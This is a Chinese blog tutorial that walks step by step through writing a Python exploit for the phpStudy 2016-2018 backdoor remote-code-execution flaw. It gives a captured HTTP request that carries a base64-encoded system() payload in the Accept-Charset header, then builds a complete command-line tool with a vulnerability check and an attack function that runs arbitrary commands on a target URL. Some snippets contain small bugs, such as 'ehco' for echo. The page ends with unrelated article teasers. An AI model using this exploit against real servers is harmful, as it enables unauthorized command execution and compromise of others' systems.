phpstudy RCE脚本编写(Python)

2023-09-21 20:31:45

编写过程

关于phpstudy 2016-2018 RCE漏洞的验证,请移步我的这篇博客 phpstudy2016 RCE漏洞验证

将之前漏洞验证的数据包复制下来,编写脚本时需要使用:

GET /phpinfo.php HTTP/1.1
Host: 10.9.75.164
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.9.75.164/
Accept-Charset:c3lzdGVtKCdpcGNvbmZpZycpOw==
Accept-Encoding:gzip,deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=8u2538icnljkbrojp7st99imq3
Connection: close

将数据包中的User-Agent字段、Accept-Encoding字段、Accept-Charset写成一个headers字典:

headers={
	"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)",
	"Accept-Encoding":"gzip,deflate",
	"Accept-Charset":"c3lzdGVtKCdpcGNvbmZpZycpOw=="
}

如果想执行由用户输入的任意代码,就要用base64模块给命令做编码,并添加一个cmd变量,替换Accept-Charset的内容,下面以whoami为例:

.b64encode(cmd.encode()).decode()将cmd用.encode方法转成二进制对象,然后.base64encode方法将它编码(加密) 并返回bytes对象,最后.decode方法返回字符串

import base64

cmd="whoami"
cmd= f"system( '{cmd}');"
cmd=base64.b64encode(cmd.encode()).decode()

headers={
	"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)",
	"Accept-Encoding":"gzip,deflate",
	"Accept-Charset":  cmd
}

用requests模块发送数据包并接收,用正则表达式从输出中过滤出命令注入后的回显:

import requests
res = requests.get(url= url, headers= headers)

print(res.text[:res.text.find("<!DOCTYPE html PUBLIC")])

然后用sys模块接收用户想要执行RCE的url地址:

import sys

url= sys.argv[1]

如果用户未输入URL,这时会报错,所以需要j将上述代码做一个异常处理,提示用户正确输入URL:

import sys

try:
	url= sys.argv[1]
except:
	print("[+] Usage:python*.py [please input url]")
	exit()

下面是完整脚本:

# phpstudy_2016-2018 rce backdoor.py

import base64
import requests
import sys


try:
	url= sys.argv[1]
except:
	print("[+] Usage:python*.py [please input url]")
	exit()

cmd="whoami"
cmd= f"system( '{cmd}');"
cmd=base64.b64encode(cmd.encode()).decode()

headers={
	"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)",
	"Accept-Encoding":"gzip,deflate",
	"Accept-Charset":  cmd
}

res = requests.get(url= url, headers= headers)
print(res.text[:res.text.find("<!DOCTYPE html PUBLIC")])

如下图,不输入url后会报错,提示用户正确输入:
在这里插入图片描述

加上URL后可以看到whoami命令被成功执行:

在这里插入图片描述

脚本优化

1.加上选项,无选项时,输出banner信息

​ a.创建选项解析对象

​ -u/–url 指定检测目标
​ -c/-- command 要执行的命令

​ b.设定选项

​ c.解析选项对象

2.漏洞检测:无损检测

3.漏洞利用:执行任意命令

脚本优化可以从上面三点入手,给脚本加上选项需要用到argparse模块,并分三个小步骤,加上一个没有解析对象时输出的banner信息,用if not args.url判断,没有url对象时输出banner:

import argparse

banner="""
-------------------------------------------------------
Usage: python3 *.py -u http://10.4.7.128/phpinfo.php -c whoami
-------------------------------------------------------
"""
# 创建选项对象
parser = argparse.ArgumentParser()
#设定选项
parser.add_argument('-u','--url',heLp='指定检测目标',dest="url")
parser.add_argument('-c','--command',help='要执行的命令',dest="cmd")
# 解析选项对象
args= parser.parse.args()

if not args.url:
	print(banner)
	exit()

如果有url信息,就执行下面代码:

url= args.url
cmd= args.cmd
print(f"[+] Target: (url}")
print(f"[+] Cmd: (cmd}")

verify()
print(attack(cmd))

下面是漏洞验证代码,原理和漏洞利用的过程大致相同,例如将执行的命令换成一段非命令字符EMT,如果该字符在结果中出现,就输出该url存在漏洞,在这里可以用代码生成一段随机字符,这在我之前的博客 随机密码生成器 中有过详解:

如果用string.printable生成的特殊字符串在Windows输出命令echo中有被转义的风险,所以这里用ascii_letters

import string
import random

random_str= ""
for i in range(16):
	random_str += random.choice(string.ascii_letters)

cmd= f"ehco( '{random_str}');"

if random_str in result:
	print(f"[*] Target {url} is RCE VULNERRABLE!")
else:
	print(f"[*] Target {url} is NOT RCE VULNERRABLE!")

将上述代码封装成一个名叫verify的函数:

import string
import random

def verify():
	random_str= ""
	for i in range(16):
		random_str += random.choice(string.ascii_letters)

	cmd= f"ehco( '{random_str}');"

	if random_str in attack(cmd):
			print(f"[*] Target {url} is RCE VULNERRABLE!")
	else:
			print(f"[*] Target {url} is NOT RCE VULNERRABLE!")
			exit()

将之前漏洞利用的代码写成attack攻击函数:

.content.decode方法让返回值中文不会乱码

def attack(cmd):
	cmd= f"system( '{cmd}');"
	cmd=base64.b64encode(cmd.encode()).decode()

	headers={
	"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)",
	"Accept-Encoding":"gzip,deflate",
	"Accept-Charset":  cmd
}
	
	res = requests.get(url= url, headers= headers)
	result= res.content.decode("gb2312")
	result= res.text[:res.text.find("<!DOCTYPE html PUBLIC")]
	return result

下面是完整脚本:

import requests
import string
import random
import base64
import argparse

def attack(cmd):
	cmd= f"system( '{cmd}');"
	cmd=base64.b64encode(cmd.encode()).decode()

	headers={
	"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)",
	"Accept-Encoding":"gzip,deflate",
	"Accept-Charset":  cmd
}
	
	res = requests.get(url= url, headers= headers)
	result= res.content.decode("gb2312")
	result= res.text[:res.text.find("<!DOCTYPE html PUBLIC")]
	return result
	

def verify():
	random_str= ""
	for i in range(16):
		random_str += random.choice(string.ascii_letters)

	cmd= f"ehco( '{random_str}');"

	if random_str in attack(cmd):
			print(f"[*] Target {url} is RCE VULNERRABLE!")
	else:
			print(f"[*] Target {url} is NOT RCE VULNERRABLE!")
			exit()


banner="""
-------------------------------------------------------
Usage: python3 *.py -u http://10.9.75.164/phpinfo.php -c whoami
-------------------------------------------------------
"""
# 创建选项对象
parser = argparse.ArgumentParser()
#设定选项
parser.add_argument('-u','--url',dest="url")
parser.add_argument('-c','--command',dest="cmd")
# 解析选项对象
args= parser.parse_args()

if not args.url:
	print(banner)
	exit()
	
url= args.url
cmd= args.cmd
print(f"[+] Target: {url}")
print(f"[+] Cmd: {cmd}")

verify()
print(attack(cmd))

执行结果如下,在这里可以执行任意代码:

在这里插入图片描述

如果缺少参数,就会体现正确的输入方法:

在这里插入图片描述

更多推荐

Ansible自动化:简化你的运维任务

🌷🍁博主猫头虎(🐅🐾)带您GotoNewWorld✨🍁🦄博客首页——🐅🐾猫头虎的博客🎐🐳《面试题大全专栏》🦕文章图文并茂🦖生动形象🐅简单易学!欢迎大家来踩踩~🌺🌊《IDEA开发秘籍专栏》🐾学会IDEA常用操作,工作效率翻倍~💐🌊《100天精通Golang(基础入门篇)》🐅学会Gol

PyTorch深度学习(六)【循环神经网络-基础】

RNNCell:h0和x1生成h1,把h1作为输出送到下一次的RNNCell里面。(h1=linear(h0,x1))RNN计算过程:输入先做线性变换,循环神经网络常用的激活函数是tanh(±1区间)。构造RNNCell:代码:importtorch​batch_size=1seq_len=3input_size=4h

C++ Qt零基础入门进阶与企业级项目实战教程与学习方法分享

Qt是一个卓越的客户端跨平台开发框架,可以在Windows、Linux、macOS进行客户端开发,无缝切换,一统三端;当然除了桌面端,在移动端的早期,Qt也展现了其多才多艺,在Android和ios也可以使用Qt编写app,近些年移动端的蓬勃发展,大浪淘沙,Qt已退出移动端开发的舞台,但是在桌面端开发,尤其是跨平台方面

5G通信与蜂窝模组之间的关系

5G通信是第五代移动通信技术的简称,它代表了一种新一代的无线通信技术标准。5G通信的主要目标是提供更高的数据传输速度、更低的延迟、更大的网络容量以及更可靠的连接,以支持各种新兴应用和服务,包括高清视频流、虚拟现实、物联网(IoT)、自动驾驶汽车和远程医疗等。蜂窝模组在5G通信中代表了一种设备或组件,它用于使物联网(Io

SpringBoot集成Prometheus实现监控

SpringBoot配置Prometheuspom.xml引入监控以及prometheus依赖<dependency><groupId>io.micrometer</groupId><artifactId>micrometer-registry-prometheus</artifactId></dependency><

软件设计师笔记系列(三)

😀前言随着计算机技术的日益发展,操作系统作为计算机系统的核心组件,其重要性不言而喻。操作系统不仅管理和控制计算机硬件和软件资源,还为用户和其他软件提供服务,使得复杂的计算机系统能够高效、安全和方便地运行。本章将深入探讨操作系统的一些基本概念,如程序与进程、进程的三态模型、死锁及其处理策略,以及磁盘调度算法。通过对这些

【C# Programming】值类型、良构类型

值类型1、值类型值类型的变量直接包含值。换言之,变量引用的位置就是值内存中实际存储的位置。2、引用类型引用类型的变量存储的是对一个对象实例的引用(通常为内存地址)。复制引用类型的值时,复制的只是引用。这个引用非常小(32位机器时4字节引用)3、结构除string和object是引用类型,所有C#内建类型都是值类型。C#

【Kafka系列】(二)Kafka的基本使用

有的时候博客内容会有变动,首发博客是最新的,其他博客地址可能会未同步,认准https://blog.zysicyj.top首发博客地址[1]文章更新计划[2]系列文章地址[3]Kafka线上集群部署方案怎么做操作系统先说结论,Kafka部署在Linux上要比Windows和Mac上性能高的多,主要是以下几个原因:操作系

单臂路由的配置

目录单臂路由单臂路由是什么为什么要用单臂路由单臂路由的注意事项单臂路由的原理单臂路由的优缺点单臂路由的实验enspCiscoH3C单臂路由是什么单臂路由是一种特殊的路由器,它的设计目的是实现在一个路由器的一个接口上通过配置子接口(或“逻辑接口”,并不存在真正物理接口)的方式,实现原来相互隔离的不同VLAN(虚拟局域网)

2023年贵州省职业院校技能大赛(高职组)“软件测试”赛项竞赛规程

2023年贵州省职业院校技能大赛(高职组)“软件测试”赛项竞赛规程一、赛项名称赛项名称:软件测试赛项组别:高职组赛项归属产业:电子信息大类二、竞赛目的(一)引领职业院校专业建设与课程改革本赛项竞赛内容以《国家职业教育改革实施方案》为设计指导,以电子信息产业发展的人才需求为依据,以软件测试岗位真实工作过程为载体,全面检验

JavaScript实现复制粘贴功能的原理与应用

前言在Web开发中,复制粘贴功能是一项常见需求。通过JavaScript,我们可以实现在网页上点击按钮或其他交互元素后将指定内容复制到剪贴板,也可以将剪贴板中的内容粘贴到指定位置。实现复制功能的基本原理是使用ClipboardAPI,它提供了访问和操作剪贴板内容的方法。我们将使用第三方库clipboard.js,这是一

热文推荐